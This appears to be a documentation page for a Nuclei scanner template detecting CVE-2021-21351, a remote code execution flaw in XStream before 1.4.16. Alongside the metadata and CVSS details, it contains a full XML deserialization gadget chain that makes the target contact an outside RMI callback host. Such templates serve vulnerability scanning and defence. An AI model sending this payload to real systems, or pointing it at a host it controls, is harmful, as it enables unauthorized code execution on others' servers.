CVE-2021-21351: XStream <1.4.16 - Remote Code Execution
- Template: CVE-2021-21351
- Name: XStream <1.4.16 - Remote Code Execution
- Description: XStream before 1.4.16 is susceptible to remote code execution. An attacker can load and execute arbitrary code from a remote host via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
- Impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
- Remediation: Install at least 1.4.16 if you rely on XStream's default blacklist of the Security Framework.
- Severity: critical
- Authors: pwnhxl
- Tags: cve2021, cve, xstream, deserialization, rce, oast, vulhub, xstream_project, vuln
- References: https://github.com/vulhub/vulhub/tree/master/xstream/CVE-2021-21351, https://x-stream.github.io/CVE-2021-21351.html, https://paper.seebug.org/1543/, http://x-stream.github.io/changes.html#1.4.16, https://nvd.nist.gov/vuln/detail/CVE-2021-21351
- Cves: CVE-2021-21351
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-21351.yaml
- Digest: 4a0a0047304502206038243da279a15889beeb6e47ff86494e734bbe5076640040f1be1f94f73bb002210098473e796bcddb1804e797f6a4b06e5bcc3e28ea0b008665b9c4b1b19588bcbc
- Created at: 2023-03-29T19:56:20Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 1336
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21351.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-434
- Cvss score: 9.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
- Epss score: 0.82136
- Epss percentile: 0.99665
- Cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: xstream
- Vendor: xstream_project
Products
| Product | Indexed | Url |
|---|---|---|
| xstream_project:xstream | yes | /v1/products/xstream_project/xstream |
Labels
- Name: XStream - Remote Code Execution
- Impact: Attackers can execute arbitrary code remotely, potentially leading to full system compromise or data breach.
- Remediation: Update to version 1.4.16 or later.
- Vulnerability type: insecure_deserialization
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-21351
- Not known: requirements
```yaml
id: CVE-2021-21351
info:
name: XStream <1.4.16 - Remote Code Execution
author: pwnhxl
severity: critical
description: |
XStream before 1.4.16 is susceptible to remote code execution. An attacker can load and execute arbitrary code from a remote host via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: Install at least 1.4.16 if you rely on XStream's default blacklist of the Security Framework.
reference:
- https://github.com/vulhub/vulhub/tree/master/xstream/CVE-2021-21351
- https://x-stream.github.io/CVE-2021-21351.html
- https://paper.seebug.org/1543/
- http://x-stream.github.io/changes.html#1.4.16
- https://nvd.nist.gov/vuln/detail/CVE-2021-21351
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2021-21351
cwe-id: CWE-434
epss-score: 0.82136
epss-percentile: 0.99665
cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: xstream_project
product: xstream
tags: cve2021,cve,xstream,deserialization,rce,oast,vulhub,xstream_project,vuln
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://{{interactsh-url}}/test</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "timestamp"
- "com.thoughtworks.xstream"
condition: or
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 500
digest: 4a0a0047304502206038243da279a15889beeb6e47ff86494e734bbe5076640040f1be1f94f73bb002210098473e796bcddb1804e797f6a4b06e5bcc3e28ea0b008665b9c4b1b19588bcbc:922c64590222798bb761d5b6d8e72950
```